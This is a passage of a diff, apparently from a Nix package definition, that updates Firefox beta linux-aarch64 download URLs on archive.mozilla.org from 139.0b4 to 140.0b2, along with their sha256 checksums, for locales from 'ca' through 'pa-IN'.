+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "43a84887bc56e8e775a1fc77238a9a5b311a3922b342c0b8937a10864a58e1df";
+      sha256 = "065d8a4d120a5f6bcdc2aaf598e96950b87439b3f091c6ab45ba42c42d9dc493";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/cak/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "b781db306b99c87420a371d5504505613258001326341e12d53cad1c6d22eef9";
+      sha256 = "f1e95e51e3c73a2c28632e3f23d53d3aaf1211d9db640b8c110eaed94a97ff8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/cs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "a0e7e2d60296d59eb438d67e9e6f7e7397cec1ced5b8eda1210e244fa10a0205";
+      sha256 = "1cabba2333c315ec8a8ffa64609ffdaf3664428b6f109dfbb3f9bcefe6a08326";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/cy/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "c985bf38fcb61a264e3e7cefe00ba90bdb935009546533bf018d4bd173b88c60";
+      sha256 = "aeaea449bd1427315022606358eda4907a611248ee48cf94b8936c68067f93cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/da/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "31b86f8656a3c5a92439457714d2215481e175718dad2e71a0bd12cb9d8d53ab";
+      sha256 = "baccce03f5a023e9c4db5c786416108d1e9a3b34f8e224c11b0c50089b5044b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/de/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "2931c7cdfbb9113176130df3551731c1313c06168257a1e1a393a4d8c71fc648";
+      sha256 = "cc7f6ce82a0c27854cc0b2c1aded7f589c29e73741746fa3a9dcad685ddd8b62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/dsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "e4970af22566a2c423138dfc68a7d58b58e7d3284e88f4c7f3e9d00940739cf5";
+      sha256 = "0a3aba29ef00869e8a543e5196188c42ca87331df9b283d61238ba1a8a724f3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/el/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "b12bf7bbb352c7b34d9bfb11478a0ae7717325f4807c2baef04aa4f250400a90";
+      sha256 = "d87b9a60fa65911acfe8535ccb1c8d4e6cbfad290d9979692cc7899ce0ac6b38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/en-CA/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "09e94e0803a321b313a740036171cb59e049a826e737a4151713f072c797953d";
+      sha256 = "026ad7b1f2b3b746c85a31860910ae1487e0871d406b63ffbdb87e374c517bb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/en-GB/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "cf6922dd5832202593dab94022f82e91af46685f8c16cdf92ee6fd2665ac225c";
+      sha256 = "f26d62c55973c679153ad8b2378c00a28b068748db76c38c61c9aee03aa7bf96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/en-US/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "4edba8a869dfe9c906649b5e7989748490665e99599b44c653c2fbe896f268e5";
+      sha256 = "fb8905d9af83f43bb09b453a0fbd85e23adc70eefa07efcf015395a534140450";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/eo/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "8ce7a3c2d44ec47d0c76a896005cc485a5e325f5991a50833e244cf69b8a7645";
+      sha256 = "347cbb9195e8012d39d18cfd8ada8302a5f5746674bcff21c68926d93edcbc35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/es-AR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "d1c49d9227b3d9e27e73f9788171c718c73829c077040520b05dc9b9a02cc839";
+      sha256 = "c3e04df1298513e487072a6bb5eda83e3921f3217408cb0f86f33c6a52bcc7e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/es-CL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "79c5b47dc1962faec8ef4db9860698a160b2e724145dbc3520a3b179073d2aaf";
+      sha256 = "040bc8601a976587a173a5d82b4b3ed7474dc6d274e1be504fd516eacb951174";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/es-ES/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "c3ea8d8ca383dc7271537b5fb888ea0c155c94b0f1a7988a69359d4930b1624c";
+      sha256 = "ed4197fe2d0279979e879eda7f51a5f3bc19b161ba0e6a031f6cea2cb22b5229";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/es-MX/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "fe673d9624ff97fafb5e41d4bbcb0142d24051201fcdd58ddf8863b0a169010c";
+      sha256 = "290ae698fca93612144db3d7821b38a9a7708ba1bd9aacda09f9efee8e5a2fcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/et/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "721727d911c456833e9207f35b5fa574561789eb9d5aef2cf70c07a41996604f";
+      sha256 = "7b174a91b10efbd8d5628ea29d95a4dc7dbc986ae64dc5c7709df3f7a9aeb113";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/eu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "c1d51c11fe6eb6b74a1170e93ceb910aa01b227ff67181a436abd9a272f4006a";
+      sha256 = "36ee14d1be91e8aa663439cd08f71ec6bde8e4b13f5aaf4a17f95df4080b4e00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/fa/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "d48577e912bc8d9302164ce233c02bb0d1a802bbf6923d2f6e3e40466753e7ef";
+      sha256 = "1b538780607b5fcc3a153c4198a0ea086b245c4c6f246561179d5aec98e6032d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ff/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "6397792fe1f9b6cf9e074f6dbdc620d2bb9e5a81cd9203a6b9e19d8ebe4af951";
+      sha256 = "64362226245b8694ef956f4bd3d285c45aa5f7a31830c043fe23b96071e09280";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/fi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "8f5c2ca086de1cda97c4383b0032cbe134a4af7231def94e19abdcf794d3a858";
+      sha256 = "1f810aa9a14a0f47c48d2a485397d8164c71f9a833cea682949d582ac30c4091";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/fr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "cea552b5a870c9a0842dfc56bde4d91927fbc40cef6a1f0e36d0399b65ceac7a";
+      sha256 = "2861e18226f50259f0ec8426e419c93b268c2e9113c0cae1a3d4923dd906c139";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/fur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "baa9819189ba1ff16efeeb80052f6d0afc2306a09757630e978c4a92a74147d6";
+      sha256 = "42e8d9e6582267a374246cd83cb51a71dfb24b5c54d5b8230dcab93d47e89ecc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/fy-NL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "c1b1b141ced5a635383e2e0066f36c56b852e0e44842e86b684d6ceb8209aa4a";
+      sha256 = "5ed467f0a335d41d82007f39b078c60e244faa7f7614e3386991f7e687fc10dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ga-IE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "6a9348174c586c70f55d77ac9076c203287590eed6254b3d1eeed9cc8424b076";
+      sha256 = "edb53eec33ed84ead0b00d90930c9e0d93cf7f95835f003884190a6379d61664";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/gd/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "c6f367eced3add25b7a51b8eb1d55b42d7cd5c674cc934c33fa9de86d6ef5c81";
+      sha256 = "dabd8721dbe812bfe349d89011317bffeb2eb8578dfd580e97fb962c6b234ccf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/gl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "30fcda0e983a655e8f0a87f40bf1f7e877569808b4b0e6710e58d446ec3913fe";
+      sha256 = "4c2cedbd7c26cbdc2869a5186ae3e766c27f059a5be4b745f91cb3b7d334c1de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/gn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "9c458bf9d63fec82a51b92391bc7d7b3030cce9e6228f14d5d5cde80c577349b";
+      sha256 = "557eb831214ae85f8954b609fc6c381c7334a6c8fe98c98f0b5ab5d6e3afd9d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/gu-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "92e5e135ac587dd6b7bea7a4df4803eaabf509a55b98ec2a127af3293a10c048";
+      sha256 = "937e4455d075a52b5dc546840a7be025ab14266d36c287dbbfa415f9db5edb38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/he/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "ec64a5e068e2223c95ac1c90531ef9d857fa72f03a5b4b200242029b661344e3";
+      sha256 = "2a660ac10700d2d0c8e223a7e7ccc641923e53001a9ed8f523126766919e3694";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/hi-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "434c8bfea7979d256f40f3f3766c1230b8a403678893ad988b54c19188ca82be";
+      sha256 = "d2714b679ca967305693eb28655127e381ad7a4adf7e8dfc09c4ebb92385ac61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/hr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "59d09b703c2ed3dc3e289310503e505507b345b1c5b2133da6ce59df9f952b06";
+      sha256 = "8c42af036a26589817096562c089d62c035726be61137b04de137e72fbe0f784";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/hsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "55ac7f1a2a6b00118aae7d3acab31a563cf05a23e4f35389795cdd7afd613b6c";
+      sha256 = "8233a55b9d57fa591fb5b6ced9163c9e1ad3ac0efc16106f7900e0938b9bc505";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/hu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "75265bbd21c0c783c373f2ff57dfaebedb3baa8e8f635adb764d00ae340df15b";
+      sha256 = "e36fcfe99e3885cf8eaff441d917f8b714314688484ed31bc82061eba6cb78a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/hy-AM/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "825bb3ab555455af7204fc3081d4e881bfaad7272b97c7a52d574711ac6fce43";
+      sha256 = "caa0557f2ba798d0d0d0b2e1d2b084079baf1203bade06c580062983fa53fde4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "07b43f7d3dbf12f9d8a9a4b2d393b0cc9fe3ce0d333431b9d8c694abf2948607";
+      sha256 = "66c4626de30fca547e690fbae7ef8d665f138548ed29b973630c1e5fea8cba1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/id/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "bf34449bee65bd3bf8ca7568683c111e19af99323970f6070bac75ae5d8df14e";
+      sha256 = "afeb6eb9c996a7f6bfe93c2e0606f29af90b9d46d9a35633ffd6218b76dd367b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/is/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "4b825583d13bf6f4b75cba352d1bf0eba3ab97c92f62da2c16aae79174f6f185";
+      sha256 = "ddf3e0190f6ded182ed3d9cc80cb3456d2251f5a3a5af42a4eee4d6144cb04d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/it/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "2dff0bac0c85f40cb21103c48e0489573cd12a21078b8edc5af5cfd6c1c5be9f";
+      sha256 = "cd16a0d3b70e4e746f2d5a19ce448b4c8f3761e1b4879c6fb50902e5779f73b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ja/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "7012be903c3b748178a4bdd87849251f01bc341bb1d418e43c15adb8a5236697";
+      sha256 = "2761071a3916fdaf81608d12fc7356450c4abc27fe2315d7ae1768b048751a85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ka/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "bb7b562895a31c2985e5b57dcd697ea65e0627c3ca92a7a1031de12d88f2d112";
+      sha256 = "2fa470435b4e3ecd4389639b135f840f2869ba1f997e495d5b7ca3b3b472a14e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/kab/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "534d152fd21b7206fa1d781167d2d39114224e694cd6e0ce0df0c51f632be8d9";
+      sha256 = "23a15e2d7667bb0cad5069a555ce7eb5ebd647d01dcd5b5008df5dd3a25c41f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/kk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "c914ef270be6d93b244e77eae73f0b8dc81ccae98d1e5648c9f36df3534b5b83";
+      sha256 = "c9ab7d7695204eab0aaf2d395484df8331dcdd5a2d3cf7bcc2ea544e5877443f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/km/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/km/firefox-140.0b2.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "4c4b716afcad883b4c3d4ef98f256fd3a7383c6f6f9daf004ed57dc66c9cc1d3";
+      sha256 = "6740c9921ea366cae10b37b3c5de4076f1f1710b4169030c68be12b5070c633b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/kn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "bf36d322be0eb143d16b3266f468218e4db77edf5752d92d0527737d5699bead";
+      sha256 = "938558327b5c687bdebc00007467cc911084ed13d347b3dca50bd4064a1ed0a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ko/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "d306fe18f0afb856b5eca468cadf0661a0f296900aa213693f9dfce7ce01e693";
+      sha256 = "d610e561841fa970c6be608a25f030e7bebc0812b674c65e1f32e0f3a722f494";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/lij/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "4134c5b66369b7e7baaf9ed18e686aec1f6fba8dabfcea557c8801e271099604";
+      sha256 = "3f8a986918ca0504c5f7e16996d62e52a59ae812aa10b521c93f71e5495a26f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/lt/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "d02e63dc5244755d70d7c6adf8809e809ad5624b5b2cf7db5d549fe873c8e030";
+      sha256 = "41c516c24cbdb6c3953cd378272039c8cbd92c4dfcd45e807224dee8ead1edad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/lv/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "49906a5a4bf59e755de8002436a431adf3a26ae70865a5c14cf2b1148d67be46";
+      sha256 = "fee89b89b07fdb6de208967bdfdf0cd09ff47ef4b382b5ff6dad823e2038f3bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/mk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "d0baccadc36ae94f9038e2c22b0a90d2084c512b71471af4e8f744548c92a79d";
+      sha256 = "fc713d3a275cb918aac2960e5d02ed55c1e53a588cd1d7b3072ce4ef1d322010";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/mr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "f8015e7594ec2b02914884f5be2d50f2cf0236bbe496fec731592ac81eeeb9a9";
+      sha256 = "9770d1c413bb780ba5734397fc44a4a750759fafbf092baa2dff9b0ca03f3778";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ms/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "fd820b03aebcfda8057f630f881c49d443f14661a6bf55ddd4b9a26b4cdb9308";
+      sha256 = "c0b6fcb678b449c2a7341fee0602591178dc3f783ad914f5e2e1fde3b3889dd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/my/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "f2286cf08af4be1daf434cfe972049f40ed68b1d59a0073c0f022c9f02dee1ca";
+      sha256 = "af5a3b599a09708b6981cb3079e3b1512ab3f271c09f506c953b39936e6e0952";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/nb-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "668569c1fccef37f1398b1ecd9e9974081e6c055edd0577bc464fde69e5e7ada";
+      sha256 = "0c6dd74781697f69a8cfd7b657e8971d2272f0c2c7c37efb5476a3c6d226e8d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ne-NP/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "6ce7d8b5d852ca4abd94fd8505e52a2482b5b1ba207d48fd02dce6f585ef0fd6";
+      sha256 = "22c46f8ecc726cb41d302149b6ee4816d8e5f4afc3322ce6a38621f0edfcfc55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/nl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "b57bac3e8a06c66f93f7c98a77accfe6a21661d6bdfc148cb2d8f3ce83bdbb80";
+      sha256 = "c19785a813e1d190ff83eae04d02c6647e5423d9e3dbfa5bbdbc124aa20c0b01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/nn-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "01ee287813e78d073926bbeaab9cafae2a11e9239f8da1db3c45b5d6168a5f8b";
+      sha256 = "1f5e90790da565b4e661726b11fa2d07a006c25d6ba41557e20cd8fc53972e7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/oc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "7af2c95d9d6c9241fb98dc21a4c542f6e038098eca89a72aad53d03d834cf8d7";
+      sha256 = "8280752b38cf4e19ea5400ffe96c370888df59999be3ba73a6ff358df55eb973";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/pa-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
